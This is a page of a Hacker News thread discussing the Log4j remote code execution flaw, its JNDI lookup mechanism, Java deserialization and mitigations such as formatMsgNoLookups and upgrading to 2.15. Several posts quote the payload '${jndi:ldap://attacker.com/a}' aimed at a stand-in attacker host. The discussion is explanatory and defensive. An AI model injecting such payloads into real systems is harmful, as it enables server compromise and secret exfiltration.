Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4j RCE Found

lunasec.io

Post reply on HN
Print view View original

31–40 of 531 posts

Re: Log4j RCE Found

#31

Post by spuz »

Thanks for the write-up but I have a few questions. Why does log4j's .log() method attempt to parse the strings sent to it? It is the last thing I would expect it to do. Is the part in the sample code where the user's input is output back to them part of the exploit? If so how does it fit into the attack? What will the attacker see beyond the string they originally sent as input?

Could you update your mitigation steps to explain how to set the "log4g.formatMsgNoLookups" config? It's not clear whether this is a property that goes into the log4j config or into the JVM args.

Re: Log4j RCE Found

#32

Post by Quiark »

stefan_ wrote: post #11

The best part is surely the diffstat of the "fix": +465 −9 This is insanity.

Did you look at it? Half of it is test and license headers plus the fix involves adding a whitelisting and filtering code.

Re: Log4j RCE Found

#33

Post by freeqaz »

spuz wrote: post #31

Thanks for the write-up but I have a few questions. Why does log4j's .log() method attempt to parse the strings sent to it? It is the last thing I would expect it to do. Is the part in the sample code where the user's input is output back to them part of the exploit? If so how does it fit into the attack? What will the attacker see beyond the string they originally sent as input? Could you update your mitigation step…

When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably).

It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place for this in there with:

"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property."

... I'm guessing they must have broken this, or the exploit found a bypass for those? I'll do some digging and update the blog post if I find anything interesting.

0: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...

Re: Log4j RCE Found

#34

Post by freeqaz »

fotta wrote: post #2

an immediate remediation is to set log4j.formatMsgNoLookups=true or log4j2.formatMsgNoLookups=true ctrl+f it here: https://logging.apache.org/log4j/2.x/manual/configuration.ht...

There is also a patch available in `log4j-2.15.0-rc1` now.

https://github.com/apache/logging-log4j2/releases/tag/log4j-...

Re: Log4j RCE Found

#35

Post by ryan_lane »

Fabricio20 wrote: post #9
brasetvik wrote: post #8

Earlier quoted context omitted.

That's good clarification, thanks. I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient. While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.

If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people probably don't have this enabled, so the only concern is a pingback in modern java.

Pingback can also include variable contents, so it's not just "they can get the IPs", but also potentially secrets and such.

Re: Log4j RCE Found

#36

Post by spuz »

freeqaz wrote: post #33
spuz wrote: post #31

Thanks for the write-up but I have a few questions. Why does log4j's .log() method attempt to parse the strings sent to it? It is the last thing I would expect it to do. Is the part in the sample code where the user's input is output back to them part of the exploit? If so how does it fit into the attack? What will the attacker see beyond the string they originally sent as input? Could you update your mitigation step…

When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably). It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place…

What benign purpose does this feature serve and why does it have to be implemented by parsing the input string? Does the input string get modified before being written into the log?

I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them to exploit this bug as you are doing in your example code?

Re: Log4j RCE Found

#37

Post by usrusr »

throwaway81523 wrote: post #18

The twitter thread says something about serialized objects containing malicious code. I didn't realize Java had that. Can someone explain in more detail?

Java deserialization won't directly pull executable code from incoming bytes, but without deliberate countermeasures the deserialization runtime will happily try to create new instances of any class visible in the classpath configuration of the VM if the incoming bytes ask nicely. And many of the classes that might be present come with static code that will run once before the first class instance is created, setting up global state and the like. Others come with custom deserialization routines and when both appear together and interact with each other you get a surprisingly big space for possibile vulnerabilities to hide in. If memory serves me right, in the early days of Java deserializion vulnerabilities they usually involved some native code that was started by that mechanism. There used to be quite a lot of that, inherited from the days when Sun tried to create a multimedia powerhouse running on the inefficient JVM of the day

Re: Log4j RCE Found

#38

Post by BeefWellington »

spuz wrote: post #36
freeqaz wrote: post #33

Earlier quoted context omitted.

When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably). It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place…

What benign purpose does this feature serve and why does it have to be implemented by parsing the input string? Does the input string get modified before being written into the log? I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them…

Best guess: Resolving some kind of entity name to a username for some weird auditing requirement few people have ever heard of.

It's the kind of feature I've seen in some software in the past.

That's just a guess though.

Re: Log4j RCE Found

#39

Post by dikei »

jldugger wrote: post #22
fotta wrote: post #12

Earlier quoted context omitted.

I can still see the prop on the page under "Disables Message Pattern Lookups" and "System Properties"

Wonder why the documentation changed so recently

Because they remove message lookup in version 2.15.

https://issues.apache.org/jira/browse/LOG4J2-3198

Re: Log4j RCE Found

#40

Post by dikei »

fotta wrote: post #2

an immediate remediation is to set log4j.formatMsgNoLookups=true or log4j2.formatMsgNoLookups=true ctrl+f it here: https://logging.apache.org/log4j/2.x/manual/configuration.ht...

Seem like they updated the doc to version 2.15, which no longer has this configuration. Here's the link for version 2.14.1

https://logging.apache.org/log4j/log4j-2.14.1/manual/configu...

Post reply on HN